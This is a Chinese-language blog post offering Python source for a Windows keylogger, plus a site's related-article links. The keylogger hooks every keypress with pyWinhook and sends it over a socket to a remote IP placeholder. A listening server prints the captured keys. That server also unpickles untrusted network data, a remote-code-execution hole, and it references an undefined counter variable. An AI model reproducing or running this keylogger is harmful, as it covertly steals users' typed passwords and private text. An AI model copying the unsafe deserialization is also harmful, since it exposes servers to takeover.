python实现监听键盘


Posted in Python onApril 26, 2021

python实现监听键盘,供大家参考,具体内容如下实现服务端

import pickle
from io import BytesIO
import socket

#接收数据
def Server_Recive(ip,port):
    socket_obj = socket.socket(socket.AF_INET,socket.SOCK_STREAM)
    socket_obj.bind((ip,port))
    socket_obj.listen(5)

    file = 1

    while True:
        connection,address = socket_obj.accept()
  #接受的数据
        recieved_message = b''
        recieved_message_fragment = connection.recv(1024)
        while recieved_message_fragment:
            recieved_message += recieved_message_fragment
            recieved_message_fragment = connection.recv(1024)

        try:
            obj = pickle.loads(recieved_message)
            print(obj['Key'],end=' ')
        except EOFError:
            file_name = 'recv_image_' + str(file_on) + '.bmp'
            recv_image = open(file_name,'wb')
            recv_image.write(recieved_message)
            file_on += 1
        connection.close()


if __name__ == '__main__':
    Server_IP = '0.0.0.0'
    Server_Port = 6666
    Server_Recive(Server_IP,Server_Port)

键盘监听程序

#键盘监听

import pythoncom,pyWinhook,pickle,socket
from io import BytesIO

def Client_PIC(ip,port,obj):
    try:
        msg = pickle.dumps(obj)
        send_message = BytesIO(msg)
        send_message_fragment = send_message.read(1024)
    except:
        send_message = obj
        send_message_fragment = send_message.read(1024)

    socket_obj = socket.socket(socket.AF_INET,socket.SOCK_STREAM)
    socket_obj.connect((ip,port))

    while send_message_fragment:
        socket_obj.send(send_message_fragment)
        send_message_fragment = send_message.read(1024)

    socket_obj.close()


def OnkeyBoardEvent(event):
    dict_key = {}
    dict_key['MessageName'] = event.MessageName
    dict_key['Key'] = event.Key

    Client_PIC('你自己的ip地址',6666,dict_key)
    return True

def Keylogger():
    hm = pyWinhook.HookManager()
    hm.KeyDown = OnkeyBoardEvent
    hm.HookKeyboard()
    pythoncom.PumpMessages()

if __name__ == '__main__':
    Keylogger()

其中的pythoncom,pyWinhook百度查找安装方法,在此不赘述

运行(先运行服务端,而后运行监听程序)

python实现监听键盘

以上就是本文的全部内容,希望对大家的学习有所帮助,也希望大家多多支持三水点靠木。

Python 相关文章推荐
python实现将元祖转换成数组的方法
May 04 Python
Python内建数据结构详解
Feb 03 Python
Python实现将罗马数字转换成普通阿拉伯数字的方法
Apr 19 Python
Python实现mysql数据库更新表数据接口的功能
Nov 19 Python
python中Apriori算法实现讲解
Dec 10 Python
利用numpy实现一、二维数组的拼接简单代码示例
Dec 15 Python
Python 判断 有向图 是否有环的实例讲解
Feb 01 Python
pyqt5 实现多窗口跳转的方法
Jun 19 Python
Django上线部署之IIS的配置方法
Aug 22 Python
python 实现dict转json并保存文件
Dec 05 Python
python时间time模块处理大全
Oct 25 Python
Python用Jira库来操作Jira
Dec 28 Python
python如何做代码性能分析
Apr 26 #Python
Python字符串对齐方法使用(ljust()、rjust()和center())
Apr 26 #Python
python如何进行基准测试
Apr 26 #Python
python实现简单的名片管理系统
Python实战之实现康威生命游戏
Python 制作自动化翻译工具
教你用Python写一个植物大战僵尸小游戏
You might like
开启PHP Static 关键字之旅模式
2015/11/13 PHP
TP5框架model常见操作示例小结【增删改查、聚合、时间戳、软删除等】
2020/04/05 PHP
PHP date_default_timezone_set()设置时区操作实例分析
2020/05/16 PHP
文字幻灯片
2006/06/26 Javascript
ExtJs3.0中Store添加 baseParams 的Bug
2010/03/10 Javascript
Jquery动态替换div内容及动态展示的方法
2015/01/23 Javascript
JavaScript数组去重的五种方法
2015/11/05 Javascript
javascript url几种编码方式详解
2016/06/06 Javascript
一个简单不报错的summernote 图片上传案例
2016/07/11 Javascript
最佳的JavaScript错误处理实践
2016/07/16 Javascript
JavaScript实现使用Canvas绘制图形的基本教程
2016/10/27 Javascript
JS实现的简易拖放效果示例
2016/12/29 Javascript
jQuery 导航自动跟随滚动的实现代码
2018/05/30 jQuery
详解javascript设计模式三:代理模式
2019/03/25 Javascript
微信小程序云开发使用方法新手初体验
2019/05/16 Javascript
微信小程序云开发之使用云数据库
2019/05/17 Javascript
VUE渲染后端返回含有script标签的html字符串示例
2019/10/28 Javascript
使用Python进行稳定可靠的文件操作详解
2013/12/31 Python
python读取json文件并将数据插入到mongodb的方法
2015/03/23 Python
在Python中输入一个以空格为间隔的数组方法
2018/11/13 Python
Django接收自定义http header过程详解
2019/08/23 Python
python set集合使用方法解析
2019/11/05 Python
Django框架models使用group by详解
2020/03/11 Python
Python连接Impala实现步骤解析
2020/08/04 Python
python实现梯度下降算法的实例详解
2020/08/17 Python
基于Django集成CAS实现流程详解
2020/11/28 Python
如何利用python正则表达式匹配版本信息
2020/12/09 Python
CSS3——齿轮转动关键代码
2013/05/02 HTML / CSS
HTML5 embed 标签使用方法介绍
2013/08/13 HTML / CSS
凯蒂·佩里个人女鞋品牌:Katy Perry Collections
2019/04/04 全球购物
父亲生日宴会答谢词
2014/01/10 职场文书
个人合作协议书范本
2014/04/18 职场文书
读书月活动方案
2014/05/22 职场文书
2014年社区工作总结
2014/11/18 职场文书
2015年新学期寄语
2015/02/26 职场文书
MongoDB 常用的crud操作语句
2021/06/20 MongoDB